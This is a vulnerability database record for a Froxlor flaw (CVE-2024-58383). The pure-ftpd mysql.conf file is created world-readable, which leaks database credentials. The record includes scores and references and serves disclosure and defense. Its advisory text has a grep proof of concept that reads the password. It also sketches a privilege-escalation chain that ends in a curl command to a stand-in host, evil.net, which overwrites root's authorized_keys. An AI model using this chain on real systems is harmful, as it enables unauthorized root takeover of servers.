{"id":"CVE-2024-58383","aliases":["CVE-2024-58383","GHSA-34qg-65m4-f23m"],"related":[],"kind":"vulnerability","state":"published","title":"Froxlor before 2.2.0 Insecure File Permissions mysql.conf","summary":"Froxlor before 2.2.0 (affected up to and including 2.2.0-rc3) generates /etc/pure-ftpd/db/mysql.conf with mode 0644 via the XML configuration templates in lib/configfiles/, even though the file contains the Froxlor SQL user's password. On systems where the parent directories are world readable (the default on Debian 12), any unprivileged local user able to execute commands or code on the host — including virtual users without SSH access who can upload PHP/CGI scripts — can read the file and obtain the Froxlor database credentials. Database access can then be leveraged to alter an administrator's password hash and TOTP seed, log in as a Froxlor administrator, and ultimately gain root privileges. Only instances configured to use pure-ftpd are affected.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Froxlor before 2.2.0 (affected up to and including 2.2.0-rc3) generates /etc/pure-ftpd/db/mysql.conf with mode 0644 via the XML configuration templates in lib/configfiles/, even though the file contains the Froxlor SQL user's password. On systems where the parent directories are world readable (the default on Debian 12), any unprivileged local user able to execute commands or code on the host — including virtual users without SSH access who can upload PHP/CGI scripts — can read the file and obtain the Froxlor database credentials. Database access can then be leveraged to alter an administrator's password hash and TOTP seed, log in as a Froxlor administrator, and ultimately gain root privileges. Only instances configured to use pure-ftpd are affected.","source":"cvelist"},{"lang":"en","text":"### Summary\nIn Froxlor 2.1.9 and in the HEADs of the `main`, `v2.2` and `v2.1` branches , the XML templates in `lib/configfiles/` set `chmod 644` for `/etc/pure-ftpd/db/mysql.conf`, although that file contains `<SQL_UNPRIVILEGED_PASSWORD>`. At least on Debian 12, all parent directories of `/etc/pure-ftpd/db/mysql.conf` are world readable by default, thus exposing these credentials to all users with access to the system. Only Froxlor instances configured to use pure-ftpd are affected/vulnerable.\n\n### Details\nhttps://github.com/froxlor/Froxlor/blob/2.1.9/lib/configfiles/bookworm.xml#L3075\n\n### PoC\nAs non-privileged user:\n```\nnobody@mail:/tmp$ grep MYSQLPassword /etc/pure-ftpd/db/mysql.conf\nMYSQLPassword   MySecretMySQLPasswordForFroxlor\n```\n\n\n### Impact\nAny unprivileged user with \"command/code execution\" access to the system can trivially obtain the credentials granting access to the `froxlor` MySQL database. This holds true even for virtual users without SSH access as long as they are able to upload their own PHP scripts or other CGIs, and works even if the admin has setup a separate php-fpm pool that runs as their own user.\n\nSide note: This access to the database can be leveraged to obtain Froxlor admin privileges, and subsequently root privileges. For example:\n1. Use the database credentials to extract or change a Froxlor admin's password hash and TOTP seed value.\n2. Log into Froxlor as that admin.\n3. Set the `Cron-daemon reload command` in `/admin_settings.php?page=overview&part=crond` to something like `curl -o /root/.ssh/authorized_keys evil.net`.\n4. Wait a few minutes until the relevant cronjob runs, then log in via SSH.\n\n\nPlease consider using passwordless unix socket authentication. Current versions of MySQL, MariaDB and Percona allow completely removing/omitting database passwords for database connections going through a unix socket, this works even for use cases where the database user has a different name than the system account running the database client:\nhttps://dev.mysql.com/doc/refman/5.7/en/socket-pluggable-authentication.html","format":"markdown","source":"ghsa"},{"lang":"es","text":"Froxlor antes de la versión 2.2.0 (afectado hasta la versión 2.2.0-rc3 incluida) genera /etc/pure-ftpd/db/mysql.conf con modo 0644 mediante las plantillas de configuración XML en lib/configfiles/, aunque el archivo contiene la contraseña del usuario SQL de Froxlor. En sistemas donde los directorios padre son legibles por todos (el valor predeterminado en Debian 12), cualquier usuario local sin privilegios que pueda ejecutar comandos o código en el host - incluidos los usuarios virtuales sin acceso SSH que pueden subir scripts PHP/CGI - puede leer el archivo y obtener las credenciales de la base de datos de Froxlor. El acceso a la base de datos puede entonces aprovecharse para alterar el hash de la contraseña de un administrador y la semilla TOTP, iniciar sesión como administrador de Froxlor y, en última instancia, obtener privilegios de root. Sólo las instancias configuradas para usar pure?ftpd se ven afectadas.","source":"nvd"}],"published":"2024-08-23T18:54:30.000Z","modified":"2026-10-27T23:10:00.153Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","score":8.4,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","score":8.4,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":7.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":7.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-732"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"2.2.0","status":"affected"},{"type":"semver","version":"2.2.0","status":"unaffected"}],"vendor":"froxlor","product":"froxlor","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.2.0"}],"ecosystem":"Packagist","package":"froxlor/froxlor","purl":"pkg:composer/froxlor/froxlor","source":"ghsa"}],"references":[{"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-34qg-65m4-f23m","tags":["vendor-advisory"],"sources":["cvelist","nvd"]},{"url":"https://www.vulncheck.com/advisories/froxlor-before-2.2.0-insecure-file-permissions-mysql-conf","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/froxlor/Froxlor/security/advisories/GHSA-34qg-65m4-f23m","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/froxlor/Froxlor/commit/5d2ce4ecfb0e9c397ef5c73b107fb9a0e122e910","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/froxlor/Froxlor","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/froxlor/Froxlor/blob/2.1.9/lib/configfiles/bookworm.xml#L3075","tags":["web"],"sources":["ghsa"]}],"credits":["hardfalcon"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-09-20T00:13:08.183Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-58383","url":"https://www.cve.org/CVERecord?id=CVE-2024-58383","licence":"CVE Terms of Use","modified":"2026-10-08T15:21:13.919Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-34qg-65m4-f23m","url":"https://github.com/advisories/GHSA-34qg-65m4-f23m","licence":"CC-BY-4.0","modified":"2026-09-15T03:56:00.208Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-58383","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-58383","licence":"Public domain","modified":"2026-10-27T23:10:00.153Z"}],"updatedAt":"2026-11-25T22:58:53.072Z","epss":{"score":0.00102,"percentile":0.00968,"date":"2026-12-01T12:00:22.000Z"}}